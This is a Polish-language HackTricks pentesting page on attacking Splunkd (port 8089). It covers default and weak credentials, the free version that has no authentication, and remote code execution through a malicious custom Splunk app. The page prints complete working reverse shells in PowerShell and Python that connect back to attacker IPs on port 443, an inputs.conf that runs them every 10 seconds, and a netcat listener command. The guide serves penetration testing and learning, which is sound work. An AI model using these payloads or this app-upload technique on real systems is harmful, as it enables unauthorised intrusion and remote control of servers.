8089 - Pentesting Splunkd

Support HackTricks

Podstawowe informacje

Splunk to narzędzie do analizy logów, które odgrywa kluczową rolę w zbieraniu, analizowaniu i wizualizowaniu danych. Chociaż jego pierwotnym celem nie było pełnienie roli SIEM (Zarządzanie Informacjami i Zdarzeniami Bezpieczeństwa), zyskało popularność w dziedzinie monitorowania bezpieczeństwa i analizy biznesowej.

Wdrożenia Splunk są często wykorzystywane do przechowywania wrażliwych danych i mogą stanowić cenne źródło informacji dla potencjalnych atakujących, jeśli uda im się skompromitować system. Domyślny port: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Serwer Splunk web działa domyślnie na porcie 8000.

Enumeracja

Wersja darmowa

Wersja próbna Splunk Enterprise przekształca się w wersję darmową po 60 dniach, która nie wymaga uwierzytelnienia. Nie jest rzadkością, że administratorzy systemów instalują wersję próbną Splunk, aby ją przetestować, co jest następnie zapominane. To automatycznie przekształca się w wersję darmową, która nie ma żadnej formy uwierzytelnienia, wprowadzając lukę w zabezpieczeniach w środowisku. Niektóre organizacje mogą zdecydować się na wersję darmową z powodu ograniczeń budżetowych, nie w pełni rozumiejąc konsekwencje braku zarządzania użytkownikami/rolami.

Domyślne dane logowania

W starszych wersjach Splunk domyślne dane logowania to admin:changeme, które są wygodnie wyświetlane na stronie logowania. Jednak najnowsza wersja Splunk ustawia dane logowania podczas procesu instalacji. Jeśli domyślne dane logowania nie działają, warto sprawdzić powszechne słabe hasła, takie jak admin, Welcome, Welcome1, Password123 itp.

Uzyskiwanie informacji

Po zalogowaniu się do Splunk możemy przeglądać dane, uruchamiać raporty, tworzyć pulpity nawigacyjne, instalować aplikacje z biblioteki Splunkbase oraz instalować aplikacje niestandardowe. Możesz również uruchamiać kod: Splunk ma wiele sposobów na uruchamianie kodu, takich jak aplikacje Django po stronie serwera, punkty końcowe REST, skrypty wejściowe i skrypty powiadomień. Powszechną metodą uzyskiwania zdalnego wykonania kodu na serwerze Splunk jest użycie skryptowanego wejścia.

Ponadto, ponieważ Splunk może być zainstalowany na hostach Windows lub Linux, można tworzyć skrypty wejściowe do uruchamiania skryptów Bash, PowerShell lub Batch.

Shodan

  • Splunk build

RCE

Tworzenie niestandardowej aplikacji

Niestandardowa aplikacja może uruchamiać skrypty Python, Batch, Bash lub PowerShell. Zauważ, że Splunk ma zainstalowanego Pythona, więc nawet w systemach Windows będziesz mógł uruchamiać kod Pythona.

Możesz użyć tego pakietu Splunk, aby nam pomóc. Katalog bin w tym repozytorium zawiera przykłady dla Pythona i PowerShell. Przejdźmy przez to krok po kroku.

Aby to osiągnąć, najpierw musimy stworzyć niestandardową aplikację Splunk, używając następującej struktury katalogów:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Katalog bin będzie zawierał wszelkie skrypty, które zamierzamy uruchomić (w tym przypadku, PowerShell reverse shell), a domyślny katalog będzie miał nasz plik inputs.conf. Nasz reverse shell będzie PowerShell one-liner:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Plik inputs.conf informuje Splunk który skrypt uruchomić oraz inne warunki. Tutaj ustawiamy aplikację jako włączoną i informujemy Splunk, aby uruchamiał skrypt co 10 sekund. Interwał jest zawsze w sekundach, a wejście (skrypt) będzie uruchamiane tylko, jeśli to ustawienie jest obecne.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Potrzebujemy pliku .bat, który uruchomi się, gdy aplikacja zostanie wdrożona i wykona jedną linię PowerShell.

Kolejnym krokiem jest wybranie Install app from file i przesłanie aplikacji.

Zanim przesłamy złośliwą aplikację niestandardową, uruchommy nasłuchiwacz za pomocą Netcat lub socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Na stronie Upload app, kliknij przeglądaj, wybierz tarball, który stworzyliśmy wcześniej i kliknij Upload. Jak tylko przesyłamy aplikację, otrzymujemy reverse shell, ponieważ status aplikacji automatycznie zmieni się na Enabled.

Linux

Jeśli mielibyśmy do czynienia z hostem Linux, musielibyśmy edytować skrypt Pythona rev.py przed stworzeniem tarballa i przesłaniem niestandardowej złośliwej aplikacji. Reszta procesu byłaby taka sama, a my uzyskalibyśmy połączenie reverse shell na naszym nasłuchiwaczu Netcat i moglibyśmy ruszyć do działania.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Eskalacja Uprawnień

Na następnej stronie znajdziesz wyjaśnienie, jak ta usługa może być nadużywana do eskalacji uprawnień i uzyskania trwałości:

Splunk LPE and Persistence

Odniesienia

Wsparcie dla HackTricks

Last updated